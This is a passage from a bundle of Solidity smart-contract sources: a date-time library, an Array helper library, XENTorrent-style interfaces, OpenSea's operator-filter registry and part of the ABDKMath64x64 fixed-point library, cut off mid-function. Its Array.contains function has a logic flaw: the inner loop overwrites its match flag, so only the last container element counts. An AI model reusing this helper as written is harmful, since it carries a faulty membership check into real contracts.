4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + 